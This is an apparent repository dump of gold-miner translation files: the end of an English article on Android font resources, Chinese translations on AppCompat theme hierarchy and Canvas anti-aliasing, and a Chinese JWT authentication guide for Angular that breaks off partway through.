itself. All that has changed in the O developer preview, and there are noises coming from Google that it may be rolled out in to a support library as well!\n\n[![](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/rejoice.gif?resize=370%2C280&amp;ssl=1)](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/rejoice.gif?ssl=1)\n\nUsing custom fonts within our apps is now stupidly easy! The support library implementation may not be quite as seamless as this but, rest assured, that if there are any significant deviations from the native implementation if / when the support library implementation is released, we’ll cover the differences on Styling Android.\n\nFirstly, it is worth pointing out that I am using Android Studio 3.4 Preview 3 – some of the features shown here are not available in earlier versions. All of the fonts that I am using in this example code are part of the [2016 Fonts Refresh](https://fonts.google.com/featured/2016+Fonts+Refresh) collection on [Google Fonts](https://fonts.google.com). Google Fonts is a great resource for open source fonts which can be freely used in apps.\n\nLets start by adding [Pacifico](https://fonts.google.com/specimen/Pacifico) a script font which has a single style. We’ll look at adding multiple-style fonts shortly, but we’ll start with just about the simplest use-case possible.\n\nThe first thing that we need to do is include the font in our APK. I downloaded Pacifica from Google Fonts, and it comes down as a TrueType font inside a zip archive. You’ll need to unzip the archive to obtain `Pacifico-Regular.ttf`. Next we need to add this as a resource in our project as there is a new `font` resource type. First we need to create a new font resource folder (click on the GIF to see it at full resolution):\n\n[![](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-folder.gif?resize=720%2C405&amp;ssl=1)](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-folder.gif?ssl=1)\n\nNext we need to copy our `.ttf` font to this new resource folder:\n\n[![](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/add-font.gif?resize=720%2C405&amp;ssl=1)](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/add-font.gif?ssl=1)\n\nIf you actually try and build this it will fail. The reason being that the font that we copied in is named “`Pacifico-Regular.ttf`” and this breaks the naming rules for Android resources which cannot contain dashed or capitals. So we’ll rename this to `pacifico.ttf`.\n\nOne nice feature of Android Studio is if you open the font file, it provides a preview of the font:\n\n[![](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-preview.png?resize=720%2C489&amp;ssl=1)](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-preview.png?ssl=1)\n\nThat’s the font imported in to our project, to use it is simplicity itself:\n\n![Markdown](http://i4.buimg.com/1949/8c7d8fb2c50ff300.png)\n\nSimply specify the name of the font resource we just added in the `android:fontName` attribute. Because it is a resource, we’ll get autocompletion in the IDE, and our layout preview will display the correct font, as well (you may need to refresh / rebuild your project after adding a new font resource for the preview to work correctly):\n\n[![](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-layout.png?resize=720%2C617&amp;ssl=1)](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-layout.png?ssl=1)\n\nIf we run that then, as we would expect, we see the new font used within the app:\n\n[![](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-app.png?resize=720%2C1280&amp;ssl=1)](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/font-app.png?ssl=1)\n\nSo that’s all fairly easy but those who are familiar with fonts and typography will know that things aren’t always this simple. Whilst Pacifico is a single font represented by a single font file, often we have different variants of the same font each of which has its own individual font file. In the next article in this series we’ll take a dive in to font families.\n\nThe source code for this article is available [here](https://github.com/StylingAndroid/Fonts/tree/Part1).\n\n© 2017, [Mark Allison](https://blog.stylingandroid.com). All rights reserved. \n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/android-themes-an-in-depth-guide.md",
    "content": ">* 原文链接 : [Android Themes — An in-depth guide](https://medium.com/@Sserra90/android-themes-an-in-depth-guide-f71f9db6e5bf)\n* 原文作者 : [Sérgio Serra](https://medium.com/@Sserra90)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [aidistan](https://github.com/aidistan)\n* 校对者: [shixinzhang](https://github.com/shixinzhang), [a-voyager](https://github.com/a-voyager)\n\n# 深度讲解 Android 主题层级\n\nTheme.AppCompat, Theme.Base.AppCompat, Base.V7.Theme.AppCompat, Base.v11.Theme.AppCompat, Base.v21.Theme.AppCompat, ThemeOverlay, Platform.AppCompat, DeviceDefault, Material, Holo, Classic 等等……\n\n当使用安卓主题和支持库时，你可能会遇见以上这些名字，并且好奇：\n\n- `Base.V{something}`, `Theme.Base.AppCompat`, `Platform.AppCompat` 是什么？\n- 这些主题是如何组织起来的？\n- 我应当用哪一个？\n\n在本文中，我将回答上述问题，并尝试阐明这一切是如何工作的。\n\n### AppCompat v7\n\n鉴于不同的安卓平台定义了不同的主题、样式和属性，最初安卓主题的层级非常繁杂，而且很不直观。直到 v7 支持库带来了全新的主题架构，使得所有安卓平台自 API v7 起能够获得一致的材质外观 (Matertial apperance)。`Base.V...` 和 `Platform.AppCompat` 正是在这个时候被加入了进来。\n\n> 安卓开发者们在 GitHub 上撰写了一篇 [README](https://github.com/android/platform_frameworks_support/blob/master/v7/appcompat/THEMES.txt) 解释主题层级，我推荐你看一看。\n\n在 `AppCompat` 中，主题被划分为四个层次，每个层次继承自更低一层：\n\n**Level1 → Level2 → Level3 → Level4**\n\n除此之外，每个版本的安卓 API 都有一个对应的 `values-v{api}` 文件夹存放各自需要定义或覆写的样式和属性：\n\n**values, values-v11, values-v14, values-v21, values-v22, values-v23**\n\n#### Level 4 （最底层）\n\n最底层包含了 `Platform.AppCompat` 主题。该主题总是继承自当前版本中的默认主题，例如：\n\n**values**\n\nPlatform.AppCompat -> android:Theme\n\n**values-v11**\n\nPlatform.AppCompat -> android:Theme.Holo\n\n**values-v21**\n\nPlatform.AppCompat -> android:Theme.Material\n\n#### Level 3\n\n大部分工作在这一层被完成，`Base.V7.Theme.AppCompat`, `Base.V11.Theme.AppCompat`, `Base.V21.Theme.AppCompat` 等也是在这一层被定义。这些主题都继承自 `Platform.AppCompat`。\n\n**values**\n\nBase.V7.Theme.AppCompat* → Platform.AppCompat → android:Theme\n\n**values-v11**\n\nBase.V11.Theme.AppCompat → Platform.AppCompat → android:Theme.Holo\n\n**values-v21**\n\nBase.V21.ThemeAppCompat → Base.V7.ThemeAppCompat → Platform.AppCompat → android:Theme.Material\n\n> \\*: 还包括 Base.V7.Theme.AppCompat.Light, Base.V7.Theme.AppCompat.Dialog 等变体。\n\n绝大多数属性和几乎所有工作在 `Base.V{api}.Theme.AppCompat` 中被定义和完成。ActionBar, DropwDown, ActionMode, Panel, List, Spinner, Toolbar 等控件中的所有属性都在这里被定义。你可以在 [这个链接](https://github.com/android/platform_frameworks_support/blob/master/v7/appcompat/res/values/themes_base.xml) 中查看更多详情。\n\n#### Level 2\n\n根据安卓的官方解释，我们在这一层拿到的主题只是第三层主题的别名：\n\n> There are the themes which are pointers to the correct third level theme.They can also be used to set attributes for that specific platform (and platforms up until the next declaration).\n>\n> 这些主题指向第三层中相应的主题。它们也可以用来配置那些特定平台的属性。\n\n**values**\n\nBase.Theme.AppCompat* → Base.V7.Theme.AppCompat\n\n**values-v21**\n\nBase.Theme.AppCompat → Base.V21.Theme.AppCompat\n\n> \\*: 还包括 Base.Theme.AppCompat.Light, Base.Theme.AppCompat.Dialog 等变体。\n\n#### Level 1 （最顶层）\n\n`Theme.AppCompat`, `Theme.AppCompat.Light`, `Theme.AppCompat.NoActionBar` 等主题在这里被定义。**开发者应该使用这些主题，而非那些更底层的。**\n\n**values**\n\nTheme.AppCompat → Base.Theme.AppCompat\n\n这些主题只在 `values` 文件夹中被定义，并根据安卓应用运行的 API 环境，继承自下层中定义的相应主题。例如：\n\n*   **Running in v7 (Android 2.2)**\n\nTheme.AppCompat → Base.Theme.AppCompat → Base.V7.Theme.AppCompat → Platform.AppCompat → android:Theme\n\n*   **Running in v11 (Android 3.0)**\n\nTheme.AppCompat → Base.Theme.AppCompat → Base.V7.Theme.AppCompat → Platform.AppCompat → Platform.V11.AppCompat → android:Theme.Holo\n\n*   **Running in v21 (Android 5.0)**\n\nTheme.AppCompat → Base.Theme.AppCompat → Base.V21.Theme.AppCompat → Base.V7.Theme.AppCompat → Platform.AppCompat → android:Theme.Material\n\n以上便是我们如何在所有安卓 API 下获得一致的材质外观的答案。正如你所见到的，当我们顺着主题的层级仔细研究时会发现，这一过程有点小复杂。\n\n#### 主题图示（简化版）\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f52tnel5ggj20ka0ictaz.jpg)\n\n### ThemeOverlays\n\n在所有可用的主题中，我们可以发现一个名字带有 `ThemeOverlay` 的系列：\n\n*   ThemeOverlay\n*   ThemeOverlay.Light\n*   ThemeOverlay.ActionBar.Light\n*   ThemeOverlay.ActionBar.Dark\n\n这些主题又是做什么的呢？答案是 **仅用于为特定的用途定义必要的属性。** 例如 `ThemeOverlay` 主题只定义了 `textColor`，`textAppearance`，窗口的颜色属性和一些类似 _colorControlButton_ 的属性；通常用作于 Toolbar 主题的 `ThemeOverlay.ActionBar.Light`，仅将 _colorControlButton_ 的值定义为 _?attr:textColorSecondary_。\n\n### 结论\n\n我在学习这些 `AppCompat` 主题的时候，顺便写了个 [小应用](http://themekitapp.com) 帮助大家浏览安卓主题和样式。希望能够对大家有所帮助。\n\n**注意：Google Play 商店的链接有时会失效几个小时。**\n\n我希望这篇文章能够帮你了解这些 `AppCompat` 主题是如何被组织到一起。还有一些我原本希望涉及的内容，但那样文章就太长了，或许会放在第二部分中。\n"
  },
  {
    "path": "TODO/android-why-your-canvas-shapes-arent-smooth.md",
    "content": ">* 原文链接 : [Android: Why your Canvas shapes aren’t smooth](https://medium.com/@ali.muzaffar/android-why-your-canvas-shapes-arent-smooth-aa2a3f450eb5#.p3w0sj7cf)\n* 原文作者 : [Ali Muzaffar](https://medium.com/@ali.muzaffar)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Sausure](https://github.com/Sausure)\n* 校对者:[zhangzhaoqi](https://github.com/joddiy), [lovexiaov](https://github.com/lovexiaov)\n\n# 为什么 Android 上 Canvas 画出的图形不够平滑\n\n通过 Google 搜索我们很快就能找到这个在 StackOverflow 中被问了很多次的问题，同时答案也经常是相同的：你需要给你的 Paint 对象设置 ANTI_ALIAS_FLAG 属性。但对于大多数人来说这并不能解决问题。下面我讲讲原因。\n\n#### 在 Canvas 上绘制\n\n若你需要在 Canvas 上绘制，你有两种选择。\n\n*   直接在 Canvas 上绘制。\n*   先在 Bitmap 上绘制再将 Bitmap 绘制到 Canvas 上。\n\n#### 直接在 Canvas 上绘制\n\n在你绘制前，先设置 Paint 对象的 ANTI_ALIAS_FLAG 属性可以得到平滑的图形。\n\n你有两种设置 ANTI_ALIAS_FLAG 属性的方式：\n```java\n    Paint p = new Paint(Paint.ANTI_ALIAS_FLAG);\n    //或者\n    Paint p = new Paint();\n    p.setAntiAlias(true);\n```\n然后通过下面代码直接在 Canvas 上绘制。\n```java\n    @Override\n    protected void onDraw(Canvas canvas) {\n        super.onDraw(canvas);\n        canvas.drawCircle(mLeftX + 100, mTopY + 100, 100, p);\n    }\n```\n![](https://cdn-images-1.medium.com/max/800/1*n4VKxX92KrpuSOmzm1LDVg.png)\n\n<figcaption>直接在 Canvas 上绘制</figcaption>\n\n正如你看到的，设置 ANTI_ALIAS_FLAG 属性可以产生平滑的边缘。**这里它能起作用是因为默认下每当 onDraw 被调用时系统先将 Canvas 清空然后重绘所有东西。**当我在下文详细讨论 ANTI_ALIAS_FLAG 的工作原理时， 你会意识到这段信息的重要性。\n\n#### 先在 Bitmap 上绘制再将 Bitmap 绘制到 Canvas 上\n\n如果你需要保存这张被绘制的图形，或者你需要绘制透明的像素，有个很好的办法是先将图形绘制到 Bitmap 上然后再将 Bitmap 绘制到 Canvas 上。下面我们通过代码来实现它。\n\n**注意：** 在 onDraw 方法中初始化 Bitmap 并不是一个好主意，但在这里可以增加代码可读性。\n```java\n    Paint p = new Paint();\n    Bitmap bitmap = null;\n    Canvas bitmapCanvas = null;\n    @Override\n    protected void onDraw(Canvas canvas) {\n        super.onDraw(canvas);\n        if (bitmap == null) {\n            bitmap = Bitmap.createBitmap(200,\n                                         200,\n                                         Bitmap.Config.ARGB_8888);\n            bitmapCanvas = new Canvas(bitmap);\n            bitmapCanvas.drawColor(\n                           Color.TRANSPARENT,\n                           PorterDuff.Mode.CLEAR);\n        }\n        drawOnCanvas(bitmapCanvas);\n        canvas.drawBitmap(bitmap, mLeftX, mTopY, p);\n\n    }\n\n    protected void drawOnCanvas(Canvas canvas) {\n        canvas.drawCircle(mLeftX + 100, mTopY + 100, 100, p);\n    }\n```\n此方式实现效果如下，没有设置 ANTI_ALIAS_FLAG 的图像不够平滑，而设置了该属性的更好一点，但你还是能发现它的边缘是粗糙的。\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f3pd1icuf5j209j0i5dgd.jpg)\n\n<figcaption>先在 Bitmap 上绘制再将 Bitmap 绘制到 Canvas 上</figcaption>\n\n#### 上面的代码有什么错误？\n\n我们很容易会忽视上面代码片段出现的问题。即虽然每次 onDraw 被调用时都会更新你在 Bitmap 上绘制的圆形，但理论上说，你只是在上一个图片上重绘。所以这个问题的答案是 ANTI_ALIAS_FLAG 到底是怎么工作的？\n\n#### ANTI_ALIAS_FLAG 是怎么工作的？\n\n简单来说，ANTI_ALIAS_FLAG 通过混合前景色与背景色来产生平滑的边缘。在我们的例子中，背景色是透明的而前景色是红色的，ANTI_ALIAS_FLAG 通过将边缘处像素由纯色逐步转化为透明来让边缘看起来是平滑的。\n\n而当我们在 Bitmap 上**重绘**时，像素的颜色会越来越纯粹导致边缘越来越粗糙。在下面这张图片中，我们看下不断重绘 50% 透明度的红色会出现什么状况。正如你看到的，只需三次重绘，颜色就十分接近纯色了。**这就是为什么设置了 ANTI_ALIAS_FLAG 后你们图形的边缘还是十分粗糙。**\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f3pd1zamtjj20b405ka9v.jpg)\n\n#### 我该如何解决这问题？\n\n这里有两个选择。\n\n*   避免重绘。\n*   在重绘前清空你的 Bitmap。\n\n下面我修改了上文的代码，添加一行代码让它在每次重绘前先清空 Bitmap。当然，如果你觉得纯色更加符合你的需求的话，你也可以不用每次都清空 Bitmap。\n```java\n    @Override\n    protected void onDraw(Canvas canvas) {\n        super.onDraw(canvas);\n        if (bitmap == null) {\n            bitmap = Bitmap.createBitmap(200,\n                                         200,\n                                         Bitmap.Config.ARGB_8888);\n            bitmapCanvas = new Canvas(bitmap);\n        }\n        bitmapCanvas.drawColor(\n                  Color.TRANSPARENT,\n                  PorterDuff.Mode.CLEAR); //this line moved outside if\n        drawOnCanvas(bitmapCanvas);\n        canvas.drawBitmap(bitmap, mLeftX, mTopY, p);\n    }\n\n    protected void drawOnCanvas(Canvas canvas) {\n        canvas.drawCircle(mLeftX + 100, mTopY + 100, 100, p);\n    }\n```\n现在， Bitmap 会在每次重绘前先清空。下面的图片就是代码更改后的效果。\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f3pd2chefej208c0hmq3g.jpg)\n\n**注意：** 如果不需要经常修改 Bitmap，你可以只（在 if 条件语句中）初始化并绘制 Bitmap 一次，然后在 onDraw 方法中将其绘制到 Canvas 上，这样能保证更好的性能。也意味着频繁地清空像素并绘制圆形的操作是没有必要的。\n\n#### 总结\n\n*   如需要先绘制到 Bitmap 上：  \n    - 你想保存图像。  \n    - 你想绘制透明的像素。  \n    - 你的图像不需要经常改变并且/或者需要耗时操作。\n*   通过设置 ANTI_ALIAS_FLAG 属性绘制平滑的边缘。\n*   避免在 Bitmap 上重绘，或者在重绘前先清空 Bitmap。\n"
  },
  {
    "path": "TODO/angular-jwt-authentication.md",
    "content": "> * 原文地址：[Angular Security - Authentication With JSON Web Tokens (JWT): The Complete Guide](https://blog.angular-university.io/angular-jwt-authentication/)\n> * 原文作者：[angular-university](https://blog.angular-university.io)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/angular-jwt-authentication.md](https://github.com/xitu/gold-miner/blob/master/TODO/angular-jwt-authentication.md)\n> * 译者：[Raoul1996](https://github.com/Raoul1996)\n> * 校对者：[Tina92](https://github.com/Tina92)、[realYukiko](https://github.com/realYukiko)\n\n# Angular 安全 —— 使用 JSON 网络令牌（JWT）的身份认证：完全指南\n本文是在 Angular 应用中设计和实现基于 JWT（JSON Web Tokens）身份验证的分步指南。\n\n我们的目标是系统的讨论**基于 JWT 的认证设计和实现**，衡量取舍不同的设计方案，并将其应用到某个 Angular 应用特定的上下文中。\n\n我们将追踪一个 JWT 从被认证服务器创建开始，到它被返回到客户端，再到它被返回到应用服务器的全程，并讨论其中涉及的所有的方案以及做出的决策。\n\n由于身份验证同样需要一些服务端代码，所以我们将同时显示这些信息，以便我们可以掌握整个上下文，并且看清楚各个部分之间如何协作。\n\n服务端代码是 Node/Typescript，Angular 开发者对这些应该是非常熟悉的。但是涵盖的概念并不是特定于 Node 的。\n\n如果你使用另一种服务平台，主需要在 [jwt.io](https://jwt.io) 上为你的平台选择一个 JWT 库，这些概念仍然适用。\n\n### 目录\n在这篇文章中，我们将介绍以下主题：\n\n* 第一步 —— 登陆页面\n  * 基于 JWT 的身份验证  \n  * 用户在 Angular 应用中登录\n  * 为什么要使用单独托管的登陆页面？\n  * 在我们的单页应用（SPA）中直接登录\n* 第二步 —— 创建基于 JWT 的用户会话\n  * 使用 [node-jsonwebtoken](https://github.com/auth0/node-jsonwebtoken) 创建 JWT 会话令牌\n* 第三步 —— 将 JWT 返回到客户端\n  * 在哪里存储 JWT 会话令牌？\n  * Cookie 与 Local Storage\n* 第四步 —— 在客户端存储使用 JWT  \n  * 检查用户过期时间\n* 第五步 —— 每次请求携带 JWT 发回到服务器  \n  * 如何构建一个身份验证 HTTP 拦截器\n* 第六步 —— 验证用户请求\n  * 构建用于 JWT 验证的定制 Express 中间件\n  * 使用 [express-jwt](https://github.com/auth0/express-jwt) 配置 JWT 验证中间件\n  * 验证 JWT 签名 —— RS256\n  * RS256 与 HS256\n  * JWKS (JSON Web 密钥集) 终节点和密钥轮换\n  * 使用 [node-jwks-rsa](https://github.com/auth0/node-jwks-rsa) 实现 JWKS 密钥轮换\n* 总结\n\n所以无需再费周折（without further ado），我们开始学习基于 JWT 的 Angular 的认证吧！\n\n### 基于 JWT 的用户会话\n首先介绍如何使用 JSON 网络令牌来建立用户会话：简而言之，JWT 是数字签名以 URL 友好的字符串格式编码的 JSON 有效载荷（payload）。\n\nJWT 通常可以包含任何有效载荷，但最常见的用例是使用有效载荷来定义用户会话。\n\nJWT 的关键在于，我们只需要检查令牌本身验证签名就可以确定它们是否有效，而无需为此单独联系服务器，不需要将令牌保存到内存中，也不需要在请求的时候保存到服务器或内存中。\n\n如果使用 JWT 身份验证，则它们将至少包含用户 ID 和过期时间戳。\n\n如果你想要深入了解有关 JWT 格式的详细信息（包括最常用的签名类型如何工作），请参阅本文后面的 [JWT: The Complete Guide to JSON Web Tokens](https://blog.angular-university.io/angular-jwt) 一文。\n\n如果想知道 JWT 是什么样子的话，下面是一个例子：\n\n```\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIzNTM0NTQzNTQzNTQzNTM0NTMiLCJleHAiOjE1MDQ2OTkyNTZ9.zG-2FvGegujxoLWwIQfNB5IT46D-xC4e8dEDYwi6aRM\n```\n\n你可能会想：这看起来不像 JSON！那么 JSON 在哪里？\n\n为了看到它，让我们回到 [jwt.io](https://jwt.io/) 并将完成的 JWT 字符串粘贴到验证工具中，然后我们就能看到 JSON 的有效内容：\n\n```\n{\n  \"sub\": \"353454354354353453\",\n  \"exp\": 1504699256\n}\n```\n查看 [raw01.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-01-ts) ❤托管于 [GitHub](https://github.com)\n\n`sub` 属性包含用户标识符，`exp` 包含用户过期时间戳.这种类型的令牌被称为不记名令牌（Bearer Token），意思是它标识拥有它的用户，并定义一个用户会话。\n\n> 不记名令牌是用户名/密码组合的签名临时替换！\n\n如果想进一步了解 JWT，请看看[这里](https://blog.angular-university.io/angular-jwt)。对于本文的其余部分，我们将假定 JWT 是一个包含可验证 JSON 有效载荷的字符串，它定义了一个用户会话。\n\n实现基于 JWT 的身份验证第一步是发布不记名令牌并将其提供给用户，这是登录/注册页面的主要目的。\n\n### 第一步 —— 登陆页面\n身份验证以登陆页面开始，该页面可以托管在我们的域中或者第三方域中。在企业场景中，登陆页面一般会托管在单独的服务器上。这是公司范围内单点登录解决方案的一部分。\n\n在公网（Public Internet）上，登录页面也可能是：\n\n* 由第三方身份验证程序（如 Auth0）托管\n* 在我们的单页应用中可用的登录页面路径或模式下直接使用。\n\n单独托管的登录页面是一种安全性的改进，因为这样密码永远不会直接由我们的应用代码来处理。\n\n单独托管的登录页面可以具有最少量的 JavaScript 甚至完全没有，并且可以将其做到不论看起来还是用起来都像是整体应用的一部分的效果。\n\n但是，用户在我们应用中通过内置登录页面登录也是一种可行且常用的解决方案，所以我们也会介绍一下。\n\n### 直接在 SPA 应用上的登录页面\n如果直接在我们的 SPA 程序中创建登录页面，它将看起来是这样的：\n\n```\n@Component({\n  selector: 'login',\n  template: `\n<form [formGroup]=\"form\">\n    <fieldset>\n        <legend>Login</legend>\n        <div class=\"form-field\">\n            <label>Email:</label>\n            <input name=\"email\" formControlName=\"email\">\n        </div>\n        <div class=\"form-field\">\n            <label>Password:</label>\n            <input name=\"password\" formControlName=\"password\" \n                   type=\"password\">\n        </div>\n    </fieldset>\n    <div class=\"form-buttons\">\n        <button class=\"button button-primary\" \n                (click)=\"login()\">Login</button>\n    </div>\n</form>`})\nexport class LoginComponent {\n    form:FormGroup;\n\n    constructor(private fb:FormBuilder, \n                 private authService: AuthService, \n                 private router: Router) {\n\n        this.form = this.fb.group({\n            email: ['',Validators.required],\n            password: ['',Validators.required]\n        });\n    }\n\n    login() {\n        const val = this.form.value;\n\n        if (val.email && val.password) {\n            this.authService.login(val.email, val.password)\n                .subscribe(\n                    () => {\n                        console.log(\"User is logged in\");\n                        this.router.navigateByUrl('/');\n                    }\n                );\n        }\n    }\n}\n```\n查看 [raw02.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-02-ts) ❤托管于 [GitHub](https://github.com)\n\n正如我们所看到的，这个页面是一个简单的表单，包含两个字段：电子邮件和密码。当用户点击登录按钮的时候，用户和密码将通过 `login()` 调用发送到客户端身份验证服务。\n\n### 为什么要创建一个单独的认证服务器\n把我们所有的客户端身份验证逻辑放在一个集中的应用范围内的单个 `AuthService`（认证服务）中将帮助我们保持我们代码的组织结构。\n\n这样，如果以后我们需要更改安全提供者或者重构我们的安全逻辑，我们只需要改变这个类。\n\n在这个服务里，我们将使用一些 JavaScript API 来调用第三方服务，或者使用 Angular HTTP Client 进行 HTTP POST 调用。\n\n这两种方案的目标是一致的：通过 POST 请求将用户和密码组合通过网络传送到认证服务器，以便验证密码并启动会话。\n\n以下是我们如何使用 Angular HTTP Client 构建自己的 HTTP POST：\n\n```\n@Injectable()\nexport class AuthService {\n     \n    constructor(private http: HttpClient) {\n    }\n      \n    login(email:string, password:string ) {\n        return this.http.post<User>('/api/login', {email, password})\n            // 这只是一个 HTTP 调用, \n            // 我们还需要去处理 token 的接收\n        \t.shareReplay();\n    }\n}\n```\n       \n查看 [raw03.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-03-ts) ❤托管于 [GitHub](https://github.com)\n\n我们调用的 `shareReplay` 可以防止这个 Observable 的接收者由于多次订阅而意外触发多个 POST 请求。\n\n在处理登录响应之前，我们先来看看请求的流程，看看服务器上发生了什么。\n\n### 第二步 —— 创建 JWT 会话令牌\n无论我们在应用级别使用登录页面还是托管登录页面，处理登录 POST 请求的服务器逻辑是相同的。\n\n目标是在这两种情况下都会验证密码并建立一个会话。如果密码是正确的，那么服务器将会发出一个不记名令牌，说：\n\n> 该令牌的持有者的专业 ID 是 353454354354353453, 该会话在接下来的两个小时有效\n\n然后服务器应该对令牌进行签名并发送回用户浏览器！关键部分是 JWT 签名：这是防止攻击者伪造会话令牌的唯一方式。\n\n这是使用 Express 和 Node 包 [node-jsonwebtoken](https://github.com/auth0/node-jsonwebtoken) 创建新的 JWT 会话令牌的代码：\n\n```\nimport {Request, Response} from \"express\";\nimport * as express from 'express';\nconst bodyParser = require('body-parser');\nconst cookieParser = require('cookie-parser');\nimport * as jwt from 'jsonwebtoken';\nimport * as fs from \"fs\";\n\nconst app: Application = express();\n\napp.use(bodyParser.json());\n\napp.route('/api/login')\n    .post(loginRoute);\n\nconst RSA_PRIVATE_KEY = fs.readFileSync('./demos/private.key');\n\nexport function loginRoute(req: Request, res: Response) {\n\n    const email = req.body.email,\n          password = req.body.password;\n\n    if (validateEmailAndPassword()) {\n       const userId = findUserIdForEmail(email);\n\n        const jwtBearerToken = jwt.sign({}, RSA_PRIVATE_KEY, {\n                algorithm: 'RS256',\n                expiresIn: 120,\n                subject: userId\n            }\n\n          // 将 JWT 发回给用户\n          // TODO - 多种可选方案                              \n    }\n    else {\n        // 发送状态 401 Unauthorized（未经授权）\n        res.sendStatus(401); \n    }\n}\n```\n查看 [raw04.ts](https://gist.github.com/jhades/2375d4f7849应用38d28eaa41f321f8b70fe#file-04-ts) ❤托管于 [GitHub](https://github.com)\n\n代码很多，我们逐行分解：\n\n* 我们首先创建一个 Express 应用\n* 接下来，我们配置 `bodyParser.json()` 中间件，使 Express 能够从 HTTP 请求体中读取 JSON 有效载荷\n* 然后，我们定义了一个名为 `loginRoute` 的路由处理程序，如果服务器收到一个目标地址是 `/api/login` 的 POST 请求，就会触发它\n\n在 `loginRoute` 方法中，我们有一些代码展示了如何实现登录路由：\n\n* 由于 `bodyParser.json()` 中间件的存在，我们可以使用 `req.body` 访问 JSON 请求主体有效载荷。\n* 我们先从请求主体中检索电子邮件和密码\n* 然后我们要验证密码，看看它是否正确\n* 如果密码错误，那么我们返回 HTTP 401 状态码表示未经授权\n* 如果密码正确，我们从检索用户专用标识开始\n* 然后我们使用用户 ID 和过期时间戳创建一个普通的 JavaScript 对象，然后将其发送回客户端\n* 我们使用 [node-jsonwebtoken](https://github.com/auth0/node-jsonwebtoken) 库对有效载荷进行签名，然后选择 RS256 签名类型（稍后详细介绍）\n* `.sign()` 调用结果是 JWT 字符串本身\n\n总而言之，我们验证了密码并创建一个 JWT 会话令牌。现在我们已经对这个代码的工作原理有了一个很好的了解，让我们来关注使用了 RS256 签名的包含用户会话详细信息的 JWT 签名的关键部分。\n\n为什么签名的类型很重要？因为没有理解它，我们就无法理解应用程序服务端上对相关令牌的验证代码。\n\n#### 什么是 RS256 签名?\n\nRS256 是基于 RSA 的 JWT 签名类型，是一种广泛使用的公钥加密技术。\n\n> 使用 RS256 签名的主要优点之一是我们可以将创建令牌的能力与验证他们的能力分开。\n\n如果您想知道如何手动重现它们，可以阅读 [JWT 指南](https://blog.angular-university.io/angular-authentication-jwt/)中使用此类签名的所有优点。\n\n简而言之，RS256 签名的工作方式如下：\n\n* 私钥（如我们的代码中的 `RSA_PRIVATE_KEY`）用于对 JWT 进行签名\n* 一个公钥用来验证它们\n* 这两个密钥是不可互换的：它们只能标记 token，或者只能验证，它们中的任何一个都不能同时做这两件事\n\n### 为什么用 RS256?\n\n为什么使用公钥加密签署 JWT ？以下是一些安全和运营优势的例子：\n\n* 我们只需要在认证服务器部署签名私钥，不是在多个应用服务器使用相同认证服务器。\n* 我们不必为了同时更改每个地方的共享密钥而以协同的方式关闭认证服务器和应用服务器。\n* 公钥可以在 URL 中公布并且被应用服务器在启动时以及定时自动读取。\n\n最后一部分是一个很好的特性：能够发布验证密钥给我们内置的密钥轮换或者撤销，我们将在这篇文章中实现！\n\n这是因为（使用 RS256）为了启用一个新的密钥对，我们只需要发布一个新的公钥，并且我们会看到这个公钥。\n\n### RS256 vs HS256\n\n另一个常用的签名是 HS256，没有这些优势。\n\nHS256 仍然是常用的，但是例如 Auth0 等供应商现在都默认使用 RS256。如果你想了解有关 HS256，RS256 和 JWT 签名的更多信息，请查看这篇[文章](https://blog.angular-university.io/angular-authentication-jwt/)\n\n抛开我们使用的签名类型不谈，我们需要将新签名的令牌发送回用户浏览器。\n\n### 第三步 —— 将 JWT 发送回客户端\n\n我们有几种不同的方式将令牌发回给用户，例如：\n\n* 在 Cookie 中\n* 在请求正文中\n* 在一个普通的 HTTP 头\n\n#### JWT 和 Cookie\n\n让我们从 cookie 开始，为什么不使用 Cookie 呢？JWT 有时候被称为 Cookie 的替代品，但这是两个完全不同的概念。 Cookie 是一种浏览器数据存储机制，可以安全地存储少量数据。\n\n该数据可以是诸如用户首选语言之类的任何数据。但它也可以包含诸如 JWT 的用户识别令牌。\n\n因此，我们可以将 JWT 存储在 Cookie 中！然后，我们来谈谈使用 Cookie 存储 JWT 与其他方法相比较的优点和缺点。\n\n#### 浏览器如何处理 Cookie\n\nCookie 的一个独特之处在于，浏览器会自动为每个请求附加到特定域和子域的 Cookie 到 HTTP 